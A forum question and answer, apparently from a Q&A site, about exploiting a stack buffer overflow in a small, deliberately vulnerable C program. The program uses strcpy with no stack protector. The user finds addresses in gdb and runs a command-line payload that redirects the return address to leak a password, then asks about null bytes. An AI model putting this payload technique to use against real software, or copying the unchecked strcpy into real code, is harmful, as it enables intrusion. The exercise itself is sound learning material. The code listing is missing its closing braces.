I have this program in C.

#include <stdio.h>
#include <string.h>

char * pwd = "pwd0";

void print_my_pwd() {
  printf("your pwd is: %s\n", pwd);

int check_pwd(char * uname, char * upwd) {
  char name[8];
  strcpy(name, uname);

  if (strcmp(pwd, upwd)) {
    printf("non authorized\n");
    return 1;
  return 0;

int main(int argc, char ** argv) {
  check_pwd(argv[1], argv[2]);
  return 0;

I build it and examine it for buffer overflow.

$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12    strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
 rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
 called by frame at 0x7fffffffd6f0
 source language c.
 Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
 Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
 Saved registers:
  rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.

    Inferior 1 [process 21935] will be killed.

Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)

So it was possible to leak the secret from the program but what could I do if the address would have been 0x55555555003a instead of 0x55555555473a ? Then I would not know how to pass the zero because it would be represented as a null byte and the shell would not interpret that.


So your program does the following. The check_pwd function allocates a buffer on the stack that you overflow so the return address is corrupted. You try and choose this corruption so that it points to another function, print_my_pwd, the :GUUUU string, if interpreted as a 64bit value on a little endian machine is 0x??0055555555473A with the first 8 bits being undefined. If the 8 bits are zero then you have the address of print_my_pwd. The 16 A characters are there to fill the 8 byte name array and then overwrite the stored frame pointer.

So your question is "If I need a 0 byte as part of the return address, how do I specify it on the command line?", to which the answer is "it doesn't matter, as you are using strcpy to do the overflow and that will stop at the NUL byte so the attack will fail."

In general the answer to your question is that the interface to the kernel is based around C strings, so even if your program used memcpy rather than strcpy you still would not be able to do what you want.

Real buffer overflow attacks jump to their own code, which frequently constructs the value to be stored in memory and doesn't need to worry about NUL characters.

| improve this answer | |

Not the answer you're looking for? Browse other questions tagged or ask your own question.